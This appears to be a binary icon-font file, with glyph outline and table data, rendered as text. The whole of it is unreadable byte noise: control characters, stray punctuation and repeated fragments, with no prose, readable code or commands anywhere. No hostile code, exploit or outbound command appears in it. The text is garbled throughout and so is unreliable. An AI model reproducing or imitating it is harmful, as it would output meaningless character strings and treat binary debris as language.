,"",3SF6+.%4$?##00##?$4%_.+6FS3   	     # 0 9 F O \ e @ i   g i i 	g 		i i g 

Y 
a

Q^]QPHG;:21%$ ba]e^eWVP\Q\LKGOHOA@:F;F651929+*$0%0 ## +!"&463!2!"&463!2!"&463!2%".4>2'"264&".4>2'"264&".4>2'"264&<				<				<			00800$$4%%00800%%3%%0080/$$4%%080080%4$%3%180080$4%%4$08019/%4$%3%  @    3 6@3.L   v"! *)!3"3   +"'.7>%".7&>!"'&47>9w,
l
$#      jR  - Q k l@i_VL8iU1L ~ i	g   Y  a
  QSR db[ZRkSkFE?=43$#-- +"'.'&47>762"276764'&'&"/".?'.>;7>32'2'&6?#"&/+76f]Y&''&Y]]Y&''&Y]f|kh<??<hkkh<??<hk@
;NN;0@@0'&Y]]Y&''&Y]]Y&'?<hkkh<??<hkkh<?uu׊_ll_   jR & D Q Z         @6 L     

~ i	i"!i i i # i 

W 

_
O][SRFE(' źһҵ{zurmjfd[]WVRZSZLKEQFQ'D(D &&$+%"&'&'&'&/&'&'&54>2"1676?6767654.".4>2'"264&!".54>3!2#!"3!265462%"&4762!"'&462"&462'"264&3#"&46;2"'&'&547&462'3267654'& >i|i> 3V2)$$*3V300800%%3%%9<00_%%%1	t\"11E11#"CTT\!n	 2d	JA531(2>i>>i>3(135AK
2V3*"A)FONF)A#)3V2080080$4%%4$00$e%$			0*	tG1E11E1}"":2}		


    $ - : Y@V	 L     g   i  i	W	_ O8721,+('$"
+76762!	/"&5463!2#!4&"267".4>2*0l˷!


B%&.+1,+1,S,`

:`j`.	
<
7*,,2,, (   3 @ I d   @*O b	L&K  gi i i  i
  g		gg W _OgeKJBA54 ywtrqpmleg^\XWVURQJdKdFEAIBI;:4@5@-,
 +%!"&5463!2%!!"&'/.767662".4>2'"264&!"&=462!#"&46;2!"&=462!#"&46;2!"&=462!#"&46;2<			Hf
Ԕk
j00800%%3%%.;*?K<	>		SK<	>		S		q	)H
k#j6w080080$4%%4$T?G	S	S		>G	ST?        4 q     t@q_G9	
$LZK   g
	
i		iW_Osr {yrs?>2/*'"	 +!"3!27>/!2>54.#!"'&#!"&5463!2%&'&'&#"&/&'.32>?3276547676."32>76&'&"'.767>327"32>76&'&"'.767>3200"00"$3g$%$	 	L"
3'!4&##	3'!4&##	00P30$0t% %$$$!([?O-o'9D5C-0	
0-[".%Z-APRe%
=&AMA&A'%A//r&AMA&A'%A//     3 B E &@#EDC4 L   v 33 +"/.54>?6"?>54&/&"'&5467JH%=##=%ݒ%=##=%HJGH(77(܏(77(H	$		(@&&@((@&t&@(;)t);;));we֕      8 f r ~   @ ^Q	%
LHK     g 	g 		g 

g g W _ Otshg {xs~t~olgrhrWV	 +!"3!2654&!!.6'&'&"'.32?>41/"5'4&"51"5'#?264'&'&737>'7!264&#!"!264&#!"!264&#!"3264&+"-		qH#"6.	YY""7-w		w		w					BEFM7.C<;/YEFN7-C<;.e}}}     2 x    h@e
L
   

j 		i Y aQ zyJIEDBA=<
	 xx+"'.'&'&'.67>'&'..'&47>67676&'.>767676>76'1&'2767654&'.67>176764'.&'.67>54'&'&&&'.'&'&7667>7'".4>2"2>4.%% &;1	%  %
1;' %% ';1
%  %	1;.5.&;!<&.5
4BB4
4/; !;(/4"4B!!9_88_r_88_9-M--MZM--Mu
	""%"%"
(F("%"%""%"%"
! F(
"%"%&
"	?4!	9!4?	#
	 '' 	
#	? 9:8@'" 'v8_r_88_r_8w-MZM--MZM-  i/R I U ] l x  j@glf5#	e_~zysmWVPJ9 L    
	 
i 	 	iiYaQvupojhca%.#)%,+%54'.'&"2654&#&5>767>636=.#"3>76&"&5462'.'476.&5>7462"&5('Y]]Y'($?g>  ,S"^S
2GG2	T]"S+  >g?G=N+'5DD57CC7#H?&*Ne`\)**)\`e/<>g? A kmFY3453]Emk  ?g>7Af@=+&D****K')*'W%*?@e  iS  7 K
PX*LKPX* L*LYYK
PX@# g   g_ OKPX@"  g  W _  O@# g   g_ OYY@  /-&$76  '7%	+.?#".54>3!2#!3%63!2>54.#	]S(D((D((D((D(33o
S)c44(D((D((D(Q(E(4Q4	44     =  7 b K
PX@=5
`
	U L KKPX@=5
`
	U L K@=5
`
	U L KYYK
PX@M   i 	
	Y i g 
  
i Y a QKPX@H   i 	
	i i 
 
i Y a Q@M   i 	
	Y i g 
  
i Y a QYY@.dcpocd]\XWSROMIHED@?;:1/+)77+"6?26=4&7"265462;264&+76=.4&"265462#"32"&54&"264'>2"'.'&54767>276764'&'&#"&46A>!

,
	&my

\W- ,>,&

&,>,aYV$&&$VYYV$&(F<9cffc:<<:cfw	[2

,

	

p	,K,,

&&

,,@
"&$VYYV$&&%VY`FBD;	nwfc:<<:cffc:<   	jR   M        @W
`C86		/ L 

   i 
 
i  	i 	 	ii   i  iW_O"! μͪͤ{zsqljfe]\TSON>=)(!M"M   +%".'.547&5476762%22>7>67654'&7654."36%"/&'&'&'#'#&#"&463&767632767654623276#"&46;23#"&46;2!"&?>?67&54627676%!'&/3'&676764'&"!'3\F"('BDDB'("F\;OXO<

CssC
?@="	&"	"#&,+(	*		*)		)	nB 
k&-L-&k
 tg:>fh4^>;+ODB'(('BDO+;>^4	:Z11Z:DsCCsDP'#		< 
"#		#/
#
l 4"!!"4 l
$
*gb55b       @ L    v-(+654&'.#"3267	

	=,
	
       @ L   v 
 +"327>54'654'.(	
;
	
      n   @ L      v+'&"?27>54/76'.4	+W+;
--,	+W+	,+         
 3@0 L    W_ O

+#5##!5$HSSS   iS  $ . @@=    ~   W_O  ,)&%$#  :+#!"&'463!"3!2654&+;265/Q)7&&66'=	c	R3'0<!"&55&/'7;		      V  # / @  LIKPX@9 

r	~~   p  
i  Y  b  R@; 

	~~   ~  
i  Y  b  RY@/.-,+*)('&%$##%+#'>54."32677%".4>2'3##5#5353! #I||II|J2Z#>63W23VfV22VSS*SS*#[1J|II||I# ">2VfV32WfV2*SS*S          , 5 > G p@m   		    i
		i Y _ O@?76.-DC?G@G;:6>7>21-5.5+)&#,,3!#3++"&46;#"&46;22654&+";264&+"264&3"264&3"264&	S

>>

S	'

	T		T		?&&&
			
&&&&&&    
  jR  - A j w     @IF^
LKPX@h  p  

	r     iji	 	i Y b RKPX@i   ~  

	r     iji	 	i Y b R@j   ~  

		     iji	 	i Y b RYY@9yxlkCB~xyrqkwlwec\[TRMLHGBjCj+4'&'&"276767"'.'&47>76227676. '."&"."3267>546232>4.".4>2!".4>2'4&"267"&4624&"267"&462?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&' 'ECCE'BB/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>*%4$$4%J*%4$%3%^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]E"!!"Err-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%	$$4%%       ) H@E Lg   g  W  _  O!  &% )!) 	+%2+"&=4632#!"&5463!"!4'.'77'('77'(			8'(77('8TT	    k(   . G@DL  g g W _ O  '%. -	 	+2#!"&5463!"3!274&#2+"&=463$33$%33%?@(3$$33$$3Sz      (   / A@>  g g W _ O!  (& /!.	 	+2#!"&5463!"3!2654#2+"&=463$44$p$33$pv(3$$33$$3Sz 	  jkR   + 7 C O [ g s @LK   g g  g g 

g g 	g 		g W _ Oih]\QPED98-,olhsirc`\g]fWTP[QZKHDOEN?<8C9B30,7-6&# ++(52+>3!2#!"&546?3265%!+3!2654&"&463!2#"&463!2#"&463!2#"&463!2#"&46;2#"&463!2#{%%&
t&
q	



6



6



6







6



J%%%
&z		l	'}w}w}        3 P S@P 	 	g i i   W  _
  O54 JGBA=:4P5P-*%"32	 +!".54>;23!2"3!2654&#!"&/.#"&=4&#!""&54>3!200!7
 00$%$$!7 	%<%00.01( 10%%%w%' }	}$$		00}	 jR G ^ y        &9$@[
cWLKKPX@&0$ r (i
i i,*i  i+)i	%  i!#.i"/ -i Y a'Q@&0$ (i
i i,*i  i+)i	%  i!#.i"/ -i Y a'QYA}''                 { z   '9'953,*&&	                                                  ~ z  {  w u m k ^ \ Q O = ; 4 2 - , ' %   	    G  G 1  +"'&'&67"'#"'&'&5476'&'".67676322?67632#3276765'&767&#"327676'&'&#""&4&""&54762"'.'&47>762"276764'&'&"&462'"264&"&462'"264&"'&547676;276'"32767&'&'&"'&'&7>767632'327654&'&#"V5%"1#%5VL3*
/UN362. .251NU/+3)DI* [XA *ID)DA04)	*PGf]Y&''&Y]]Y&''&Y]f|kh<??<hkkh<??<hk%%4$$	%%3%%`=#C'6'AF);Mv		(3&!&//'/M;)FA'6'B%&!&4'		'0'+$P#		#P$+'% 
:

	
:
 %*-'# !#'-*'&Y]]Y&''&Y]]Y&'?<hkkh<??<hkkh<?`$4%%4$SS%3%%4$S_6&
!}


}!
&5T


    5  $ C@@L      W _ O  +2"&54662!#!/&47S  -  !$	5   BUU	     5  $ C@@L      W _ O $#  +2"&546.=!"&'5467!5462-  	$ 5  B	UU     5  $ ? S@P650L	    W_O :921.-#" 
+2"&54632#/&4?6%&'5#.'5>7354>-  LV$ \\  \5  BUU		
YU   5  & > S@P,L	    W_O =<5410*("! 
+2"&546&'5#.'5>7354>32#/&4?6-  L\  \V$ \5  BYUUU		      5  # >@;
L   ~ W_ O#"%%+62++.5#".72#!"&463	UU	?  !$>-  -   (  % C@@L    W  _  O  %$ 
+2#!"&4633232"/&>;4673  U		U-  -5 $      (  & ? S@P*	 L     	W	_ O:832-+('"&%$&
+%##.'5#".?>%2#!"&463232"/&>;546?UU  U		U[  [-  - \V#   *  $ > T@Q4- L    ~ 	W	_ O7510,+ $#%#
+%232"/&>;546?%2#!"&463##.'5#".?>U		U  YU \V#-  -\  \	     jR  ! * 9 B O \ q@n-L     
 ~	~ ~ W_OZYTSMLGFA?><9876'!#'!73+4>3!2#!".5%35327>4&'&++5323'67654&+3537+5322>4."".4>2&@&&A%&@&f&@&Au+ !  +-#mm#-}Kn-!L>APm.#ll$-7c~d77d~c7p&DZE%%EZD&&@&&@&0&@&&@&>K>"++#8=KG"++xAh;;hh;;hA0M,,M`M,,M        # 8 F T X@U 	g 
i   W  _  OGG:9%$ GTGT9F:F/.$8%8#"	 +%!".54>3!2"3!2654&#"'%.>27%6"'&6?6!"/.>0000$$$$t#	V.V
Q

00060q%6%%%   jR      @C0/	P

L			~    i 		i  
i
 
g  iW_O    |ysqb^ZX<;86%+27676322"6?67>?6'&'?676'&#"3%264&#01!>?>?6'.'4&+"&/&6;26/&547676#54."#"3!26=4&%4>2#!5!26=>54&"((X#
	.o&3(S0)
	(3Q-	P;	(
		!'Q'CND'		M	0:/#
"	5	i		S
SO%*H
(/@
S+Q:(C^5	;\+Q	R+
S		B'(C''C(		00w		       m  " ? ^ @>
 LJIK
PX@(     g W W aQKPX@$     gWaQ@(     g W W aQYY@]ZRPHF971/'$! +276/764'&64/&27&#!";?327>=6'+764.+"'.=4763!2S

GGcSCC

&&&!6
&8mG	n			TBC	t	S	
CB

!h
#S6	      m    6 F J X r x@uY2#rgP1$	k	L-	K 

 	
	~  

g 	  	g  Y  a Q
	 MKJIHGDA<965	
 +%"264&3"264&264&"?'&7>'4."%4&#!"3!265'!!#"?6&'%676/&"376'.	I	T	66		T
			H	*
,2	T\2y	*	
	)	M

_		w`S
y	*.	     ,    2@/  g g   W  _   O&7+3!2654'&#!&!!!:4#&2 5#&12%%[      (    .@+   gW_ O72+4&#!"3!265!)!1&"1"&1A=&11&1"~~     j^\    ,@) J    W _O+'7676%#5"&463!2#C.#* O5C,P F5   9  J 9@6  ~     g Y a Q6;:3:7+3!2>54&'.#!"'463!2276=4'&'.#!";27654'&+"&5 	.	
#
*	'(!	(%%
3$.
x

%%)+	   i%S  , 2@/ L      v%",,#%5 +#"3!26=4&+'.#!"!2#!".546Կ				";"./$	4	3	4			";"$/_	   9  # & *@'&%$L    i Y a Q&!+&#"3276'"&'.467>27FEcʈ?>}?>?B?B?NJpFHmA[|@B@B?A?C!!}      X   2+7;;X::     X  2+'7';;;;     s   A ^ j pzK
PX@
E>QLKPX@
E>QL@
E>QLYYK
PX@Q 

     Y	 i   gia QKPX@F 

    	i   giaQ@Q 

     Y	 i   gia QYY@1kkCBkpkphgbaWUONIHB^C^;:650/('"!AA%;+.6?01301;>/7%22654."2>54&""&=&>%"54&"265132>=6."&=462$..		66&3>44>3&8'  #35('8''8''*e
	yy

\'		44\33

&&\.[



3\!5&&X''S%     (   # 3 F a@^    	 	g
   g g W ` P DA:72/*' ## +!264&#!"!264&#!"!264&#!"4&#!"3!267#!".54>3!2

		

		

	 +  "),+,,+9
''D'&111?-     % 1 U g s w@t&" L 

 
 ~  
 ~  g 		i 

gW_ OjhWV42pmhsjsdb]\VgWgROJGBA<92U4U+%&"2764/7>762"'&4?'.'676.!"&5463!22654&#!"3!264&"26=463264&3264&+"OO??	OO>>	@C	B
y
3(r%34(
 HJ35				STCC	STCC	M	
#y!"

Q);;));
HKK		84      =    + 7 C U a KPX@J     p h	i		g 

W 
a

Q@I      h	i		g 

W 
a

QY@EXVED:8.,"  ^[VaXaRPKJDUEU@=8C:C41,7.7(% +"+	 +"&5463!2#'!!264&#!"!264&#!"!264&#!"!264&#!""26=463264&3264&+"?

k		k		

G		

G		

G		
K26
"				s


`
*w}}}$72

#        % 1 f   @smdTN
>
G&" L 		 	~ 	~ 
	
~ 
	
~ 	~  	 ~ 	 ~  		gW` P¡rqbaCB:965+%&"2764/7>762"'&4?'.'676.%#227>76'467.7"&#.'.''>4676>762'.67.'&67&5463&76!"&5463!22654&#!"3!264&OO??	OO>>	@C	B
				
		%551O	+
/O%B* >


	  8;DKF
(!y
3(r%34(
STCC	STCC	M	

		F125			%%j	#*1
	
F@>%(,	#,
#y!"

Q);;));
    =    + 7 C x@ XN[sq	k	bLUhKK	PX@S   r 

  g  g g 	Y 		g g a QK
PX@Y   r  ~

  g  g g 	Y 		g g a QKPX@S   r 

  g  g g 	Y 		g g a Q@T    

  g  g g 	Y 		g g a QYYY@;:8.,"  jifea_HG@=8C:C41,7.7(% +"+	 +"&5463!2#'!!264&#!"!264&#!"!264&#!"!264&#!"&7676267267'67"&'67"'&'&57.'&7?

k		k		

		6

		6

		6
Q %+/)		*'+3:;4#



s


`
*w}}}#
,^"#
      > I@F1L     ~   i   Y   a  Q+%7>'&>'"/&4?62&&'&>765462"&5J>- !5*UgJ>- !5*Vf
3$uL6te"Ei93$uL6te"Eh    A  + <@9      	 v  +*%$  
+"&5#"&4?62#46232"/&463"hh"i
XYY	      jN  - A R@O5L     ~  ~   i Y aQ ?>8732"!--
 	+"276764'&'&"'.'&47>762'&46262"&'{jg<>><gjjg<>=<fj}d\Y&''&Y\\Y&''%X]J
$>=gkjf<=><gjkh=?F'&Y\\Z'('&Y\\Z&( J      jR    + 7 C   @DPL  g  g   g  g	g		g 
i W _ O98-,!  |yvqnhe`]ZWLI?<8C9B30,7-6'$ +!*
 +!2#!"&546!462"&57"&46;2#"&46;2#"&46;2#454>3!2+"&46;2654&#!"&/.+";2+".54676;23!254&#!"KRN[		V		V		V		V		V		111x		x&&"7"x&&x		x0@x!7"	&>"Q*M_		zGH
00.2((( ' (2 -$( 
m%    jR  $ f {  @}%
t1	  L  g  

g  		g   ig    i Y b Rzwspkh`]ZWROIF3;8+%5462762"/&462'2>4."454>3!2+"&46;2654&#!"&/.+";2+".54676;23!254&#!"4>2".?>x-MZM--MZM-111x		x&&"7"x&&x		x0@x!7"	&>"8_r_88_r_8??-L--LZM--M00.2((( ' (2 -$( 
m%*9`88`r_88_   A  $ ,@)      v $#3%% +#"32764&+4&+""&463!2#wz
$""        $ 9 F@C L    ~   ~  i Y a Q)$%(+&'"&5473264'&#"26546326 '&'&4767632}NuuNExv		@[>,
HvxI

Ixzx{F
[y<5>``>5<yi|{.		[@	,>wGFv%vFGHJr       A  @     v5$+32764&#!"
       A  @    v5+74762#!"&!

    (      P K	PXKI LK
PXKILKI LYYK	PX@5	
	g 
 
g   g  Y  _ OK
PX@8  r	
	g 
 
g  g  W  ` P@5	
	g 
 
g   g  Y  _ OYY@#þ}jhc`ZYFC;:31,)$"+1001'001%03#50#3001!7&'.747##!"&=47#3&'.75463!22#!"&4676367676'4'&'&'&/.763!23!2=4'&'&'&'4#'.763!22#!"&4>367676'54#!"^<?A?AuG
					

	%
F
	$


			
Cf$$6666g

L
	
"	""	!f
	
 
  >  ) B M V     @@]}u08LK	PX@Z r    i g	i  g Y
i g Y a QK
PX@`	r r    i 	g		i  g Y
i g Y a QKPX@Z r    i g	i  g Y
i g Y a Q@[     i g	i  g Y
i g Y a QYYY@?+*ywonkjfd`_[YVURQLKFE<:42*B+B+4'&'&"276767 '&'&7676 312;2+"&=464&"26&462"74632#"'.#"2767#"&50154632"'&%4&"326&462"%"&463!2#"&463!2#<:ceec:<<9cffc9<*A@lppl@AA@lppl@A	<.*j/F.0B1 )
%
)@@1+j/F./E



^



^wfc9<<9cffc9<<9cfwpl@AA@lppl@AA@lp7c
L#E,-D.P"-


#,!E,,E.



	

	        ( 1 : C L @
LK	PX@A r~ ~
~ ~	~    W   _  O@B ~ ~
~ ~	~    W   _  OY@ED32! IHDLEL762:3:%$ (!(6+.7632%	'.>'264&"7.>'264&"7.>5264&"
		%
B	J1C @@@"~ @@?"} ?@@"D(	
 
)@@@@1""w?@?@1""w@??@0"" 
  jkR   ' - ? K W c o { @=(5L g  	g 		g 

g   g g g g W _ OqpedYXMLA@/.wtp{qzkhdoen_\XcYbSPLWMVGD@KAJ9742.?/?+)"+#.7>&/63!2#!"&54?3265%!+3!2654&"&46;2#"&46;2#"&46;2#"&463!2#"&463!2#xhh(--2
$$%	t%	q												K				6				F$		o~~$%$		%zl}}}   	  jkR   ) 2 ; D P \ h @'L   g  g g g g	
i W _ O^]RQFEca]h^gXUQ\R[LIEPFOCB?>:96510-,#!))'51+63!2#!"&54?3265%!+3!2654&"&462"&462"&462%"&463!2#%"&463!2#"&463!2#|
$$%	t%	q-""}""}""				6		M				wK$%$		%zl"""}        m  ( @ J O Y KPX@:	
r  r

g  hW_OKPX@;	
r  

g  hW_O@<	

  

g  hW_OYY@+PPLKPYPXSQNMKOLOJHCA=<540.+)"('# +#"&46;'&462"&47!2#!"&546332+"/&4?627!"3!3#!2654&#		??%%%%

??t		**		I:CA&`&&&C:
`
*6

   (  = U xK
PX@=/iL'
IKPX@=/iL'I@=/iL'
IYYK
PX@2    gi i	 
g	
a 

QKPX@1    gi i	Y	a
Q@2    gi i	 
g	
a 

QYY@&VV>>  VxVwmkge][>U>TQOKJCB:7  +6767#&/&%6;2&'546767676'&6726;24.#'.46?2!"&463#"32#"'&'&547>3,X!@<,9XOX;8E
0
	xK:.		

5U6		1# i?))W3)K,9D!	nHB8P!A!K%

 8!(%&3E,5
2-7N=0/4     jR  - I N w      =@VS
kK;LKPX@q	  	p 

 r r   	 i
ji ig Y b RKPX@r	  	p 

 r    	 i
ji ig Y b RKPX@s	  	 ~ 

 r    	 i
ji ig Y b R@t	  	 ~ 

     	 i
ji ig Y b RYYY@AyxPOJJ~xyrpiha_ZYUTOwPwJNJN<+4'&'&"276767"'.'&47>762& '.;26=676&5"&"."3267>546232>4.".4>2!".4>2'4&"267"&4624&"267"&462?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&'BB,O	}	I',/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>*%4$$4%J*%4$%3%^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]rr	M!S		?6
*p-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%	$$4%% 	  jR  - A j w     @IF^
L    

     i g  j  i	i	 	i Y b RyxlkCB~xyrqkwlwec\[TRMLHGBjCj+4'&'&"276767"'.'&47>76227676. '."&"."3267>546232>4.".4>2!".4>2%4&"267"&4623264&+"?<hkkh<??<hkkh<?*'&Y]]Y&''&Y]]Y&' 'ECCE'BB/O00O_Q//Q04X		V50Q//QD%>%%>J?$$?g%>%%>J>%%>f*%4$%3%}		}	^|kh<??<hkkh<??<hk|f]Y&''&Y]]Y&''&Y]E"!!"Err-M..M-0Q`Q/9/.:/Q`Q0%>J?%%?J>%%>J?%%?J>%	$$4%%"     L $ @ ] u @1 	Li IK
PX@8 	 q g
gi		Y	a		Q@7 	  g
gi		Y	a		QY@-_^&% olfd^u_tYWPMFD=;54.+%@&?"  $$+7".?#".=4>3!2+"+";276;&=4>;.#"/#".=4>3!2+";2'&6;26=4&# 66 6	"1		e#11#!		U6s.n 56 66 
k"11"
!#11#
q5  56
0#71""1	Uf6&6 65  6q0##1gV2""1        ) A uKPX@- r~   p  i   Y   b  R@/ ~   ~  i   Y   b  RY@'+276764'&'&"476762"'&'&%#"2?64/&+4&"--KMMK----KMMK--T97_aa_7997_aa_79whh ^[MK----KMMK----KM[qa_7997_aa_7997_a%      jR  $ d z (@%
s1	 LKPX@J r   r  g  

g  		g  i g Y b RK PX@K r     g  

g  		g  i g Y b R@L      g  

g  		g  i g Y b RYY@~yvroie^[XUPMHE3:8+%26=264/&"272>4."014>3!2+"&46;2654&#!"&/.+";2+".54672;23!254&#!"4>2".>>u-MZM--MZM-/0*2y

y&'!7"u&&y

y2A

y"6 	&<7_t_77_t_7q

>>-L--LZM--M//#51'*&!' '
2 /%' l%(:_88_t_77`      k  " 1 H@E/L   	 g  g W _ O,)&%$#"":5@
+"#!"3!2654.;26=301!5!33!26=5"11"H"12X
S
***1""11"5[:M

H*1        ) ? uKPX@-   r ~ p    i Y b R@/    ~  ~    i Y b RY@%+4'&'&"276767"'&'&4767623264/&";265A--KMMK----KMMK--T97_aa_7997_aa_79hh ^[MK----KMMK----KM[qa_7997_aa_7997_a     k    7@4  Y a  Q
	 	
 	+"&462!"&462!"&462"11D21"11E00#11F001D11D11E00E11D10E1    G    ,@)    i  i Y a Q+462"&462"&462"&1E01D11E00E11D10E1#00F11#00E11#11E11          *@'     W _O    $+"'&476%2#&2
2'%%02&2'1%2&       *@'     W _O    $+2764'&"%"3&22&v%%02&2&1%2&    /+  $@! L       v+"&6762"/"&51%1&2&2%L%71&r%%      +(  xK
PX LKPX  L LYYK
PX@       vKPX@     v@       vYY+%'&"2764&"4&"1&1&2&2%q&22&%%   >   @ L    v 
 +"'&'&7676 'ol?AA?look?AA?lo|A?look?AA?lopl?A   i( 	  ' 7 ; K O _ c o {            #/8AJ  !3!26554&#!"#!".54>3!2"&=46;2#'35#"&=46;2#'35#"&=46;2#'35#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&=46;2#'35#"&=46;2#'35#"&=46;2#'35#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&46;2#"&462"&462"&462l%$$$0000		S		>))		S		>))		S		>))		}}		}}		}}		}}		}}		}}		S		?**		S		?**		S		?**}		}	}		}	}		}}		}}		}}		'STXz%%>%%>P0000	S		S	)*TT**	S		S	*)S}T}S	S		S	)*TT**	S		S	*)S}T}S		     i( 	  ' 0 9 B R V b n ~    T:1(LKPX@j!r  g	
i$   g  g+#! "!"g)&g*('%g W _ O@k!!  g	
i$   g  g+#! "!"g)&g*('%g W _ OY@hpodcXWDC

xuo~p}igcndm][WbXaVUTSLICRDQA@=<8743/.+*$!

63,+!3!26554&#!"#!".54>3!2!"&462"&462"&462"&=46;2#'35#3"&46;2#"&46;2#3"&=46;2#'35#3"&46;2#"&46;2#5#"&=46;2"&=#32+"&463l%$$$0000ST		S		>))		}}		}}		S		?**}		}}		S		S*}		Xz%%>%%>P0000			S		S	*)S	S		S	*)S$		+		+		 	      + 7 C ^ g p @ZOL     g  i  i ig		W	_
		O98,,!   onkjfebaRQGF?<8C9B,7,620'$ +!*  6+7"&5463!2#%!!"&463!2#3"&463!2#"&463!2#3"&463!2#"&4?>76&''4&"267"&462h		N}		M		N}		M		|$"*2F11F2		*e}X	W&$44H33 	  jkR   ) 2 ; D M V _ o@l'L   g  	g	
	ii W _ O^]ZYUTQPLKHGCB?>:96510-,#!))'51+63!2#!"&54?3265%!+3!2654&4&"267"&4624&"267"&4624&"267"&462|
$$%	t%	q-*%4$$4%}*%4$$4%})$4%%4$K$%$		%zl<		$$4%%		$$4%%		$$4%%     jkR ' 9 ? Q @O:
 GLKPX@<  r 
g 
 
g   g g 		W 	_ 		O@=   
g 
 
g   g g 		W 	_ 		OY@ A@  KIFD@QAQ=;41,) ' &4%+%41#"&=463!2"&=#32+"&46363!2#!"&54?3265%!+3!2654&}N}*}		:
$$%	t%	qd#!		66		!$%$		%zl     j( 	  ' 0 9 B \ e n     `@:1(ZwHPLKPX@o  r  g	
i"  ! g !% ! g#i  g Yi $g W _ O@p   g	
i"  ! g !% ! g#i  g Yi $g W _ OY@TDC

úô~zysqnmjidc`_VRLJC\D\A@=<8743/.+*$!

63&+!3!26554&#!"#!".54>3!2%"&462"&462"&46232;2#01#"&=464&"26&462"74632#"'.#"2767#"&=>32"&%4&"26&462"!"&463!2!"&463!2l$$$$00//STqA--s2L33J4%
(-EI1L--t4I44J<				<			X~&&:'':T2211		ig
Q0#H//H/S$/	
2

-%0$I./H/T$      j( 	  ' 0 9 B Y f z@w:1(LL   g	
i   g  i  i W _ O

dc^]YWRQHGA@=<8743/.+*$!

63+!3!26554&#!"#!".54>3!2%"&462"&462"&462"&4?&54>2#74."2>l$$$$00//ST'CNC('C(/080/90X~&&:'':T2211		%3'C''CND'009/0  	  j( 	  ' 0 9 B Y f rK
PX@:1(OWLKPX@:1(OWL@:1(OWLYYK
PX@V rrr  g	
i   g  g i W _ OKPX@Prr  g	
i   g g i W _ OKPX@V rrr  g	
i   g  g i W _ O@W rr  g	
i   g  g i W _ OYYY@8ig[ZDC

nlgrira`Zf[fSQLKHGCYDYA@=<8743/.+*$!

63+!3!26554&#!"#!".54>3!2%"&462"&462"&462"&=!"&=463!2"&5462#"&46;2l$$$$00//STw	N	6}		}X~&&:'':T2211			!!		66	3			      (  + 7@4~  i   Y  _   O###"53+#!"&5463!2#";26=3264&+54&"fDHcfE?Gc&&~HcfE?Gcf&&      (   $@!      v53+#!"&5463!2!264&#!"fDHcfE?GcYB~HcfE?Gcfn&&    0 C 5@2CL       W   _  OA@;:32)'+6&'.!654&'.7>'!.7467>6201"/&462d2
!
&gM
DA=D`S%&
!}hpYRnN	
 	
	K`%
E2&ma!J<G@	@O.A	"	DztymTum	

	    gR   + 7 H T ` l x      y@! LKIKPX@{  r   p ~
!	  g  i  i  i  i  i$#"W$#"`P@}     ~ ~
!	  g  i  i  i  i  i$#"W$#"`PY@Pzynmba98-,}yztqmxnwhealbk^]XWRQLKED?<8H9H30,7-6#5#6#5%+"&=46;2+7"&46;2+7"&46;2+7"&46;2#3"&46;2"&=462"&5462"&52+"&463#2+"&463#2+"&=462'"&=462'"&=462'"&=462.54>+&/767'&>;.
1

y

\

\

]

]

\

u

0
		]

]

\

m

0
!$bF#MJ@)	Q8RA

0

0

z

\

e

1		
0

z

\

\

\

\

]

]rm@#!E51
*W     t>   , '@$!  L     W   _  O7+!%%62#!"&5461&'&'&7676`:L$*)$M8/ؙuO!$!:op9!$!P        .    # , 5 ^@[	
i  Y a  Q.-%$
	 21-5.5)($,%, ##	
 +7"&462!"&462!"&462%"&462!"&462!"&462#11F00&"11E00*"11E11G#11F00&"11E00*"11E111D10E11E00E11E01D11D10E11E00E11E01D1          : ]@Z#L 	 	i g   g
  Y
  a Q
	 8631+(!	
 +%2"&46!2"&463!2754&#%!2#!"&'&'&#"&4632%%4&&%%4&&>|	V !-		D)":$4%%4$$4%%4$>	* 	O4-(:0    vf B ^ b    @fL    g  

i g  		gYaQdcCC|zwvnkcdba`_C^C]ZXUTQOLJGF+%.767>/&/&'&'&?2676&'&'&7>76%546232+"&=#"&46337#72+"&/0#&'&"&4632"&4623"&462
(#9IYWPSj	#$I1u<	
 D8R)'
	w]ZbeS@'"-}		}}		j~-35	!C]
CI;*5	#$ZWPS5$	$(<]Zbd((

</B	QM}		}}		}6)


      v( 3 7 R [ d p |  @;L  gg  

i  g  i  		gYaQrqfe]\TS98 wuq|r{kiepfoa`\d]dXWS[T[OMJIC@8R9R7654-*!  32+%2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462"&46;2#!"&46;2#%.>.6?		z);.*:
			"
"" ~.36		!	D\		M		h
RT
=d2$C'1$)D})

C<A0     v(  ' + ; ? O S c      @  aM9YE1	L   g   g'%#&$"i
		g  i) g(i  g!Y!a+ *QedUTPPA@<<-,((ȼtqkhde][TcUcPSPSRQIG@OAO<?<?>=53,;-;(+(+55,+462"&5'"&=463!2"&=4&#!"35'32+"&=4635'32+"&=4635'32+"&=462#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462%%	`	S}}}		z);.*:
			"
"" ~.36		!	D\d*$$**		?))*dd*))*dd*))*dd2$C'1$)D})

 	  v(   # / c g    @kL 
 
g   g g g g  i g		i  gYaQih10%$ }zysphigfed]ZQPLK@=740c1b+($/%.#" 
 +"&463!2#"&463!2#%"&463!2#"&463!2#2#!"&54>3!2#".6736?>54&#!"337#72+"&/&'&"&4632"&4623"&462		r		r								g		z);.*:
			"
"" ~.36		!	D\S2$C'1$)D})

   R   ( 1 5 E I Y ] m q    @L! g  i   g    g	
i 
 
g)'%#(&$"gW_Osrnn_^ZZKJFF7622*)! |yrsnqnqpohe^m_mZ]Z]\[TQJYKYFIFIHG@=6E7E252543.-)1*1%$ (!(#9*+37#72+"&/&'&"&46323"&4623"&462!%!2#!"&54635'32+"&=4635'32+"&=4635'32+"&=4635'32+"&=46-36	 
\kk	}	}	}	}	*
